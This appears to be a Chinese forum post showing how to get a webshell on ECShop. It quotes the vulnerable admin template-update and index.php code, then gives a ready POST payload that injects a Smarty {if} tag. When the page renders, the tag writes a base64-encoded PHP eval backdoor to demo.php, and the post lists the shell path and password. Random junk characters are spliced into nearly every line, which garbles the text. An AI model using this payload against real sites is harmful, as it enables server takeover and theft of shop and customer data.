首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
2 F$ {1 B6 j" R; m- Q# _1 M% |+ d. C" |8 X8 o9 y; L. U& m
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了$ A+ w6 y7 ~* b& {2 F+ i0 M
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
3 h5 o% }* w& T9 vadmin/template.php
" K8 Y3 t; Q. f9 K( v9 H8 b( B/ U% [! B, O+ P. m5 x
1 if ($_REQUEST['act'] == 'update_library') # j) P. W0 l7 I% O
5 e- Z! N. `. K0 Z# d5 U
2
) o8 B2 O( N Z# y
4 Y' U' e H4 Y: m3 {
0 m4 E% Y9 C9 N! W G4 C" {, H) y) y3 B. V
4 check_authz_json('library_manage'); : p @2 ?- h+ [; |3 I9 B
2 ~4 l+ ~$ ]3 L4 p1 I5
! j$ H" I6 T0 \- y/ K7 O$ e4 V
" K+ Q2 n5 f5 \: Q7 c! ]1 b3 K6 $html = stripslashes(json_str_iconv($_POST['html'])); 0 m' _% h6 P2 u5 r
0 t( i3 e6 H2 k
7 & S1 x( l. `4 i- P& j
' R2 c2 ^9 u7 x8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
0 e! ~, x; c& ?1 G! S
) J8 h1 V) L& s' H" N) w# t9
X' J( G# X6 {$ H0 t. X, c9 C% O
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 7 e2 V5 y7 Z- K! d- D8 E8 v
! Z3 X7 }/ t% i |" L- N4 C7 n11
) |7 Z$ V" y7 Q6 b' d; s- ]: H1 n" G$ p
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
9 q+ A Y! k: o4 Z2 Q
) }: s5 f A$ q' u3 F3 g( J, b0 \13 + P# P% h( p3 z1 V. q& B+ x2 `8 U0 o3 K
/ |* ^0 ~4 s6 \2 J$ k( H
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: f# N1 p' i5 `
' \/ i) F: U4 h7 H: A- I/ A15 { , a5 ?- y2 Q# X. v* [2 _
. ]' y. D- G; G, q1 o16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 7 r: ^ F) I! l3 P+ P! Y
" d/ L" R4 F4 U* G- U
17 make_json_result('', $_LANG['update_lib_success']);
+ q: P/ v9 {2 N, v: Q/ O0 @/ c3 x# m3 W8 U( k0 l
18 }
1 Z+ `& O; D; j) y) k2 ~/ a" Z0 u( \; \* B- @
19 else
1 I/ @! a9 a- a0 s
' k d* A/ f( W! u7 d20 {
$ }/ A. l, c4 d }6 k( I$ s* p( V& z0 y+ c# P0 I, L+ I
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 1 L5 y# N) n# q; Z# a2 M! G
2 F- ^9 f8 G% a- v, e/ Y
22 } 2 l9 r2 h/ Y, G. ]$ ?
; k/ y- x+ M3 a5 U" g
23 } ) f! L4 K% a( g/ z" E) I
( Y+ n# u4 I* ]+ c) q0 ?5 D& ]
那么找个比较方便调用了模板的文件9 D( R, Q6 J8 `5 g c2 N8 K
index.php
( y+ h! Z, B2 Y8 `# n; k3 ?0 n% B
4 Q" M. A/ Z/ H9 E: O n: D$ W1 if ($act == 'cat_rec') & E/ x; f8 f9 C% m5 g
9 Q$ Y T' R9 H2 ) u% c0 t- t! w/ u# i, j
1 I7 U0 E: ?7 Q0 T1 n$ D \" N
3 { 0 U, ~1 S5 P, c
: r; ?) a& c' G$ n4 & H1 ]( p* U" b' q1 h
4 s- M4 X) q. i7 @
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
5 U- j& i6 k# ^- Z; ]" L2 d# z# E2 i7 y4 y5 W3 x# a% L9 x
6 6 L, z& q( _. d* J) f' ?
/ K8 \# A. F% a
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8 V' D$ ]( U: m3 f' T
$ K* y& a5 R2 o; g# ?$ c: `6 o& H8 , K/ ?5 O, k" g- H
" O5 e& q8 O, |% u9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; & Q$ g m+ y. H W
% d; b& t6 l2 i; V
10
# j1 I! x5 L- t A: a" W3 \2 P |9 z5 U+ D' Z! F
11 include_once('includes/cls_json.php'); 0 C( _6 d9 _ s3 s1 d: m Y, p
+ G. }0 P* A) Z t5 X1 B! [
12
8 b) z: j. T7 S( f0 o, e; H6 D% Q3 n! [8 L& n
13 $json = new JSON; . j3 L8 l2 U4 M/ t
, ], o* p3 [, a& I7 z5 x
14
7 n+ |0 H! T! F% H& {, |5 n; n+ y6 y K8 k, i" r: I9 T
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 9 H1 s1 e( S( K% ?' @+ C9 ~
Z% n0 k" o7 `6 N4 c# `) C1 |$ Z16
, E: W: Z4 E4 V V. F( R) V* f6 I& \
. i% {6 s9 l, \2 k: u17 $children = get_children($cat_id);
0 T! T% S! b/ ^2 s% W7 e* Y8 U" q2 _) m) U& S6 d; d
18
# t6 O# ]1 b) a/ W3 Q! v! E, s/ B% H% @7 I( H* ~# ~, g
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
} x3 b9 M; m9 S! u7 [
; K: [7 F Z$ O: P. K- }5 [20 % U( q( D. M( w" H q! @. ?
5 L2 _) I9 t6 |5 ?! y21 $smarty->assign('cat_rec_sign', 1); 7 F: V# z" o7 ?
. v. @1 q( ?- }' D" O
22 4 J. R. ?" ` T6 \) ~- K
; t( @1 h2 `" k2 O: E# D2 D/ [
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
# a j- k+ r* [4 c# B' m7 O$ B& J& R2 J' P* Y/ o5 H X
24
) u# x5 w( b( [; B; x! I% y& l. x- A5 v. G
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 9 Y. a8 a1 y& y9 E
+ y6 R2 N& [: j5 T0 c
26 & A. C0 k4 y. X- v
: u. z o8 N* |1 f m1 x2 q
27 echo $rec_array[$rec_type]; 2 N8 u' {% Z1 b: q7 Y
# T4 [& u1 J& O6 v! P( N- G
28 ) [) L+ u: `) z) Q1 O5 t
: x. b/ w% u6 I" X N29 die($json->encode($result)); ; ^1 c; l" y! `5 H
2 ?+ } b `9 S W n2 K& O+ q30
! n# p ^8 c: C3 Q; r
' d0 t& s A# b( ~ P5 I$ ]8 f0 V. F31 } 7 \, e7 O+ z+ q8 E
) N0 f4 t. { Y# d
那么就有利用方法了( n1 R0 y: r' q/ V" ~( |4 v6 Z
post包到http://localhost/ec/admin/template.php?act=update_library0 {2 f' H7 I, H* r7 M: r
Post内容:+ f2 x3 _. D# ^& V" n
0 g6 ?9 q, O& z
+ k' x& \ q* w- S4 L: Y6 c1 u7 N7 X: Z1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
& _! X0 U( Y1 R$ @% H7 O
) e; P/ Y2 u( g( N# W然后访问http://localhost/ec/index.php?act=cat_rec4 {# M: a+ }' Q: a0 v- k$ x! A. A
* l$ K' U" u: C4 F
shel地址:http://localhost/ec/demo.php
( B+ q: l# u# L' Z' n1 Q) T$ [密码c, o R7 _1 H2 o v6 K6 S4 ]/ J6 Z5 j7 c
: E5 q: o: Z' x0 d |